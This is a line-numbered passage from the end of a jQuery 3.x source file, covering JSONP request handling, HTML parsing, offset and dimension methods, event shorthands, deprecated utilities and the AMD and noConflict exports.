10038 var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce.guid++ ) );
10039 this[ callback ] = true;
10040 return callback;
10041 }
10042} );
10043
10044// Detect, normalize options and install callbacks for jsonp requests
10045jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
10046
10047 var callbackName, overwritten, responseContainer,
10048 jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
10049 "url" :
10050 typeof s.data === "string" &&
10051 ( s.contentType || "" )
10052 .indexOf( "application/x-www-form-urlencoded" ) === 0 &&
10053 rjsonp.test( s.data ) && "data"
10054 );
10055
10056 // Handle iff the expected data type is "jsonp" or we have a parameter to set
10057 if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
10058
10059 // Get callback name, remembering preexisting value associated with it
10060 callbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ?
10061 s.jsonpCallback() :
10062 s.jsonpCallback;
10063
10064 // Insert callback into url or form data
10065 if ( jsonProp ) {
10066 s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
10067 } else if ( s.jsonp !== false ) {
10068 s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
10069 }
10070
10071 // Use data converter to retrieve json after script execution
10072 s.converters[ "script json" ] = function() {
10073 if ( !responseContainer ) {
10074 jQuery.error( callbackName + " was not called" );
10075 }
10076 return responseContainer[ 0 ];
10077 };
10078
10079 // Force json dataType
10080 s.dataTypes[ 0 ] = "json";
10081
10082 // Install callback
10083 overwritten = window[ callbackName ];
10084 window[ callbackName ] = function() {
10085 responseContainer = arguments;
10086 };
10087
10088 // Clean-up function (fires after converters)
10089 jqXHR.always( function() {
10090
10091 // If previous value didn't exist - remove it
10092 if ( overwritten === undefined ) {
10093 jQuery( window ).removeProp( callbackName );
10094
10095 // Otherwise restore preexisting value
10096 } else {
10097 window[ callbackName ] = overwritten;
10098 }
10099
10100 // Save back as free
10101 if ( s[ callbackName ] ) {
10102
10103 // Make sure that re-using the options doesn't screw things around
10104 s.jsonpCallback = originalSettings.jsonpCallback;
10105
10106 // Save the callback name for future use
10107 oldCallbacks.push( callbackName );
10108 }
10109
10110 // Call if it was a function and we have a response
10111 if ( responseContainer && isFunction( overwritten ) ) {
10112 overwritten( responseContainer[ 0 ] );
10113 }
10114
10115 responseContainer = overwritten = undefined;
10116 } );
10117
10118 // Delegate to script
10119 return "script";
10120 }
10121} );
10122
10123
10124
10125
10126// Support: Safari 8 only
10127// In Safari 8 documents created via document.implementation.createHTMLDocument
10128// collapse sibling forms: the second one becomes a child of the first one.
10129// Because of that, this security measure has to be disabled in Safari 8.
10130// https://bugs.webkit.org/show_bug.cgi?id=137337
10131support.createHTMLDocument = ( function() {
10132 var body = document.implementation.createHTMLDocument( "" ).body;
10133 body.innerHTML = "<form></form><form></form>";
10134 return body.childNodes.length === 2;
10135} )();
10136
10137
10138// Argument "data" should be string of html
10139// context (optional): If specified, the fragment will be created in this context,
10140// defaults to document
10141// keepScripts (optional): If true, will include scripts passed in the html string
10142jQuery.parseHTML = function( data, context, keepScripts ) {
10143 if ( typeof data !== "string" ) {
10144 return [];
10145 }
10146 if ( typeof context === "boolean" ) {
10147 keepScripts = context;
10148 context = false;
10149 }
10150
10151 var base, parsed, scripts;
10152
10153 if ( !context ) {
10154
10155 // Stop scripts or inline event handlers from being executed immediately
10156 // by using document.implementation
10157 if ( support.createHTMLDocument ) {
10158 context = document.implementation.createHTMLDocument( "" );
10159
10160 // Set the base href for the created document
10161 // so any parsed elements with URLs
10162 // are based on the document's URL (gh-2965)
10163 base = context.createElement( "base" );
10164 base.href = document.location.href;
10165 context.head.appendChild( base );
10166 } else {
10167 context = document;
10168 }
10169 }
10170
10171 parsed = rsingleTag.exec( data );
10172 scripts = !keepScripts && [];
10173
10174 // Single tag
10175 if ( parsed ) {
10176 return [ context.createElement( parsed[ 1 ] ) ];
10177 }
10178
10179 parsed = buildFragment( [ data ], context, scripts );
10180
10181 if ( scripts && scripts.length ) {
10182 jQuery( scripts ).remove();
10183 }
10184
10185 return jQuery.merge( [], parsed.childNodes );
10186};
10187
10188
10189/**
10190 * Load a url into a page
10191 */
10192jQuery.fn.load = function( url, params, callback ) {
10193 var selector, type, response,
10194 self = this,
10195 off = url.indexOf( " " );
10196
10197 if ( off > -1 ) {
10198 selector = stripAndCollapse( url.slice( off ) );
10199 url = url.slice( 0, off );
10200 }
10201
10202 // If it's a function
10203 if ( isFunction( params ) ) {
10204
10205 // We assume that it's the callback
10206 callback = params;
10207 params = undefined;
10208
10209 // Otherwise, build a param string
10210 } else if ( params && typeof params === "object" ) {
10211 type = "POST";
10212 }
10213
10214 // If we have elements to modify, make the request
10215 if ( self.length > 0 ) {
10216 jQuery.ajax( {
10217 url: url,
10218
10219 // If "type" variable is undefined, then "GET" method will be used.
10220 // Make value of this field explicit since
10221 // user can override it through ajaxSetup method
10222 type: type || "GET",
10223 dataType: "html",
10224 data: params
10225 } ).done( function( responseText ) {
10226
10227 // Save response for use in complete callback
10228 response = arguments;
10229
10230 self.html( selector ?
10231
10232 // If a selector was specified, locate the right elements in a dummy div
10233 // Exclude scripts to avoid IE 'Permission Denied' errors
10234 jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :
10235
10236 // Otherwise use the full result
10237 responseText );
10238
10239 // If the request succeeds, this function gets "data", "status", "jqXHR"
10240 // but they are ignored because response was set above.
10241 // If it fails, this function gets "jqXHR", "status", "error"
10242 } ).always( callback && function( jqXHR, status ) {
10243 self.each( function() {
10244 callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );
10245 } );
10246 } );
10247 }
10248
10249 return this;
10250};
10251
10252
10253
10254
10255jQuery.expr.pseudos.animated = function( elem ) {
10256 return jQuery.grep( jQuery.timers, function( fn ) {
10257 return elem === fn.elem;
10258 } ).length;
10259};
10260
10261
10262
10263
10264jQuery.offset = {
10265 setOffset: function( elem, options, i ) {
10266 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
10267 position = jQuery.css( elem, "position" ),
10268 curElem = jQuery( elem ),
10269 props = {};
10270
10271 // Set position first, in-case top/left are set even on static elem
10272 if ( position === "static" ) {
10273 elem.style.position = "relative";
10274 }
10275
10276 curOffset = curElem.offset();
10277 curCSSTop = jQuery.css( elem, "top" );
10278 curCSSLeft = jQuery.css( elem, "left" );
10279 calculatePosition = ( position === "absolute" || position === "fixed" ) &&
10280 ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1;
10281
10282 // Need to be able to calculate position if either
10283 // top or left is auto and position is either absolute or fixed
10284 if ( calculatePosition ) {
10285 curPosition = curElem.position();
10286 curTop = curPosition.top;
10287 curLeft = curPosition.left;
10288
10289 } else {
10290 curTop = parseFloat( curCSSTop ) || 0;
10291 curLeft = parseFloat( curCSSLeft ) || 0;
10292 }
10293
10294 if ( isFunction( options ) ) {
10295
10296 // Use jQuery.extend here to allow modification of coordinates argument (gh-1848)
10297 options = options.call( elem, i, jQuery.extend( {}, curOffset ) );
10298 }
10299
10300 if ( options.top != null ) {
10301 props.top = ( options.top - curOffset.top ) + curTop;
10302 }
10303 if ( options.left != null ) {
10304 props.left = ( options.left - curOffset.left ) + curLeft;
10305 }
10306
10307 if ( "using" in options ) {
10308 options.using.call( elem, props );
10309
10310 } else {
10311 curElem.css( props );
10312 }
10313 }
10314};
10315
10316jQuery.fn.extend( {
10317
10318 // offset() relates an element's border box to the document origin
10319 offset: function( options ) {
10320
10321 // Preserve chaining for setter
10322 if ( arguments.length ) {
10323 return options === undefined ?
10324 this :
10325 this.each( function( i ) {
10326 jQuery.offset.setOffset( this, options, i );
10327 } );
10328 }
10329
10330 var rect, win,
10331 elem = this[ 0 ];
10332
10333 if ( !elem ) {
10334 return;
10335 }
10336
10337 // Return zeros for disconnected and hidden (display: none) elements (gh-2310)
10338 // Support: IE <=11 only
10339 // Running getBoundingClientRect on a
10340 // disconnected node in IE throws an error
10341 if ( !elem.getClientRects().length ) {
10342 return { top: 0, left: 0 };
10343 }
10344
10345 // Get document-relative position by adding viewport scroll to viewport-relative gBCR
10346 rect = elem.getBoundingClientRect();
10347 win = elem.ownerDocument.defaultView;
10348 return {
10349 top: rect.top + win.pageYOffset,
10350 left: rect.left + win.pageXOffset
10351 };
10352 },
10353
10354 // position() relates an element's margin box to its offset parent's padding box
10355 // This corresponds to the behavior of CSS absolute positioning
10356 position: function() {
10357 if ( !this[ 0 ] ) {
10358 return;
10359 }
10360
10361 var offsetParent, offset, doc,
10362 elem = this[ 0 ],
10363 parentOffset = { top: 0, left: 0 };
10364
10365 // position:fixed elements are offset from the viewport, which itself always has zero offset
10366 if ( jQuery.css( elem, "position" ) === "fixed" ) {
10367
10368 // Assume position:fixed implies availability of getBoundingClientRect
10369 offset = elem.getBoundingClientRect();
10370
10371 } else {
10372 offset = this.offset();
10373
10374 // Account for the *real* offset parent, which can be the document or its root element
10375 // when a statically positioned element is identified
10376 doc = elem.ownerDocument;
10377 offsetParent = elem.offsetParent || doc.documentElement;
10378 while ( offsetParent &&
10379 ( offsetParent === doc.body || offsetParent === doc.documentElement ) &&
10380 jQuery.css( offsetParent, "position" ) === "static" ) {
10381
10382 offsetParent = offsetParent.parentNode;
10383 }
10384 if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) {
10385
10386 // Incorporate borders into its offset, since they are outside its content origin
10387 parentOffset = jQuery( offsetParent ).offset();
10388 parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true );
10389 parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true );
10390 }
10391 }
10392
10393 // Subtract parent offsets and element margins
10394 return {
10395 top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
10396 left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
10397 };
10398 },
10399
10400 // This method will return documentElement in the following cases:
10401 // 1) For the element inside the iframe without offsetParent, this method will return
10402 // documentElement of the parent window
10403 // 2) For the hidden or detached element
10404 // 3) For body or html element, i.e. in case of the html node - it will return itself
10405 //
10406 // but those exceptions were never presented as a real life use-cases
10407 // and might be considered as more preferable results.
10408 //
10409 // This logic, however, is not guaranteed and can change at any point in the future
10410 offsetParent: function() {
10411 return this.map( function() {
10412 var offsetParent = this.offsetParent;
10413
10414 while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) {
10415 offsetParent = offsetParent.offsetParent;
10416 }
10417
10418 return offsetParent || documentElement;
10419 } );
10420 }
10421} );
10422
10423// Create scrollLeft and scrollTop methods
10424jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
10425 var top = "pageYOffset" === prop;
10426
10427 jQuery.fn[ method ] = function( val ) {
10428 return access( this, function( elem, method, val ) {
10429
10430 // Coalesce documents and windows
10431 var win;
10432 if ( isWindow( elem ) ) {
10433 win = elem;
10434 } else if ( elem.nodeType === 9 ) {
10435 win = elem.defaultView;
10436 }
10437
10438 if ( val === undefined ) {
10439 return win ? win[ prop ] : elem[ method ];
10440 }
10441
10442 if ( win ) {
10443 win.scrollTo(
10444 !top ? val : win.pageXOffset,
10445 top ? val : win.pageYOffset
10446 );
10447
10448 } else {
10449 elem[ method ] = val;
10450 }
10451 }, method, val, arguments.length );
10452 };
10453} );
10454
10455// Support: Safari <=7 - 9.1, Chrome <=37 - 49
10456// Add the top/left cssHooks using jQuery.fn.position
10457// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
10458// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
10459// getComputedStyle returns percent when specified for top/left/bottom/right;
10460// rather than make the css module depend on the offset module, just check for it here
10461jQuery.each( [ "top", "left" ], function( _i, prop ) {
10462 jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
10463 function( elem, computed ) {
10464 if ( computed ) {
10465 computed = curCSS( elem, prop );
10466
10467 // If curCSS returns percentage, fallback to offset
10468 return rnumnonpx.test( computed ) ?
10469 jQuery( elem ).position()[ prop ] + "px" :
10470 computed;
10471 }
10472 }
10473 );
10474} );
10475
10476
10477// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
10478jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
10479 jQuery.each( {
10480 padding: "inner" + name,
10481 content: type,
10482 "": "outer" + name
10483 }, function( defaultExtra, funcName ) {
10484
10485 // Margin is only for outerHeight, outerWidth
10486 jQuery.fn[ funcName ] = function( margin, value ) {
10487 var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
10488 extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
10489
10490 return access( this, function( elem, type, value ) {
10491 var doc;
10492
10493 if ( isWindow( elem ) ) {
10494
10495 // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729)
10496 return funcName.indexOf( "outer" ) === 0 ?
10497 elem[ "inner" + name ] :
10498 elem.document.documentElement[ "client" + name ];
10499 }
10500
10501 // Get document width or height
10502 if ( elem.nodeType === 9 ) {
10503 doc = elem.documentElement;
10504
10505 // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],
10506 // whichever is greatest
10507 return Math.max(
10508 elem.body[ "scroll" + name ], doc[ "scroll" + name ],
10509 elem.body[ "offset" + name ], doc[ "offset" + name ],
10510 doc[ "client" + name ]
10511 );
10512 }
10513
10514 return value === undefined ?
10515
10516 // Get width or height on the element, requesting but not forcing parseFloat
10517 jQuery.css( elem, type, extra ) :
10518
10519 // Set width or height on the element
10520 jQuery.style( elem, type, value, extra );
10521 }, type, chainable ? margin : undefined, chainable );
10522 };
10523 } );
10524} );
10525
10526
10527jQuery.each( [
10528 "ajaxStart",
10529 "ajaxStop",
10530 "ajaxComplete",
10531 "ajaxError",
10532 "ajaxSuccess",
10533 "ajaxSend"
10534], function( _i, type ) {
10535 jQuery.fn[ type ] = function( fn ) {
10536 return this.on( type, fn );
10537 };
10538} );
10539
10540
10541
10542
10543jQuery.fn.extend( {
10544
10545 bind: function( types, data, fn ) {
10546 return this.on( types, null, data, fn );
10547 },
10548 unbind: function( types, fn ) {
10549 return this.off( types, null, fn );
10550 },
10551
10552 delegate: function( selector, types, data, fn ) {
10553 return this.on( types, selector, data, fn );
10554 },
10555 undelegate: function( selector, types, fn ) {
10556
10557 // ( namespace ) or ( selector, types [, fn] )
10558 return arguments.length === 1 ?
10559 this.off( selector, "**" ) :
10560 this.off( types, selector || "**", fn );
10561 },
10562
10563 hover: function( fnOver, fnOut ) {
10564 return this
10565 .on( "mouseenter", fnOver )
10566 .on( "mouseleave", fnOut || fnOver );
10567 }
10568} );
10569
10570jQuery.each(
10571 ( "blur focus focusin focusout resize scroll click dblclick " +
10572 "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
10573 "change select submit keydown keypress keyup contextmenu" ).split( " " ),
10574 function( _i, name ) {
10575
10576 // Handle event binding
10577 jQuery.fn[ name ] = function( data, fn ) {
10578 return arguments.length > 0 ?
10579 this.on( name, null, data, fn ) :
10580 this.trigger( name );
10581 };
10582 }
10583);
10584
10585
10586
10587
10588// Support: Android <=4.0 only
10589// Make sure we trim BOM and NBSP
10590// Require that the "whitespace run" starts from a non-whitespace
10591// to avoid O(N^2) behavior when the engine would try matching "\s+$" at each space position.
10592var rtrim = /^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;
10593
10594// Bind a function to a context, optionally partially applying any
10595// arguments.
10596// jQuery.proxy is deprecated to promote standards (specifically Function#bind)
10597// However, it is not slated for removal any time soon
10598jQuery.proxy = function( fn, context ) {
10599 var tmp, args, proxy;
10600
10601 if ( typeof context === "string" ) {
10602 tmp = fn[ context ];
10603 context = fn;
10604 fn = tmp;
10605 }
10606
10607 // Quick check to determine if target is callable, in the spec
10608 // this throws a TypeError, but we will just return undefined.
10609 if ( !isFunction( fn ) ) {
10610 return undefined;
10611 }
10612
10613 // Simulated bind
10614 args = slice.call( arguments, 2 );
10615 proxy = function() {
10616 return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
10617 };
10618
10619 // Set the guid of unique handler to the same of original handler, so it can be removed
10620 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
10621
10622 return proxy;
10623};
10624
10625jQuery.holdReady = function( hold ) {
10626 if ( hold ) {
10627 jQuery.readyWait++;
10628 } else {
10629 jQuery.ready( true );
10630 }
10631};
10632jQuery.isArray = Array.isArray;
10633jQuery.parseJSON = JSON.parse;
10634jQuery.nodeName = nodeName;
10635jQuery.isFunction = isFunction;
10636jQuery.isWindow = isWindow;
10637jQuery.camelCase = camelCase;
10638jQuery.type = toType;
10639
10640jQuery.now = Date.now;
10641
10642jQuery.isNumeric = function( obj ) {
10643
10644 // As of jQuery 3.0, isNumeric is limited to
10645 // strings and numbers (primitives or objects)
10646 // that can be coerced to finite numbers (gh-2662)
10647 var type = jQuery.type( obj );
10648 return ( type === "number" || type === "string" ) &&
10649
10650 // parseFloat NaNs numeric-cast false positives ("")
10651 // ...but misinterprets leading-number strings, particularly hex literals ("0x...")
10652 // subtraction forces infinities to NaN
10653 !isNaN( obj - parseFloat( obj ) );
10654};
10655
10656jQuery.trim = function( text ) {
10657 return text == null ?
10658 "" :
10659 ( text + "" ).replace( rtrim, "$1" );
10660};
10661
10662
10663
10664// Register as a named AMD module, since jQuery can be concatenated with other
10665// files that may use define, but not via a proper concatenation script that
10666// understands anonymous AMD modules. A named AMD is safest and most robust
10667// way to register. Lowercase jquery is used because AMD module names are
10668// derived from file names, and jQuery is normally delivered in a lowercase
10669// file name. Do this after creating the global so that if an AMD module wants
10670// to call noConflict to hide this version of jQuery, it will work.
10671
10672// Note that for maximum portability, libraries that are not jQuery should
10673// declare themselves as anonymous modules, and avoid setting a global if an
10674// AMD loader is present. jQuery is a special case. For more information, see
10675// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
10676
10677if ( typeof define === "function" && define.amd ) {
10678 define( "jquery", [], function() {
10679 return jQuery;
10680 } );
10681}
10682
10683
10684
10685
10686var
10687
10688 // Map over jQuery in case of overwrite
10689 _jQuery = window.jQuery,
10690
10691 // Map over the $ in case of overwrite
10692 _$ = window.$;
10693
10694jQuery.noConflict = function( deep ) {
10695 if ( window.$ === jQuery ) {
10696 window.$ = _$;
10697 }
10698
10699 if ( deep && window.jQuery === jQuery ) {
10700 window.jQuery = _jQuery;
10701 }
10702
10703 return jQuery;
10704};
10705
10706// Expose jQuery and $ identifiers, even in AMD
10707// (trac-7102#comment:10, https://github.com/jquery/jquery/pull/557)
10708// and CommonJS for browser emulators (trac-13566)
10709if ( typeof noGlobal === "undefined" ) {
10710 window.jQuery = window.$ = jQuery;
10711}
10712
10713
10714
10715
10716return jQuery;
10717} );
10718jQuery.noConflict();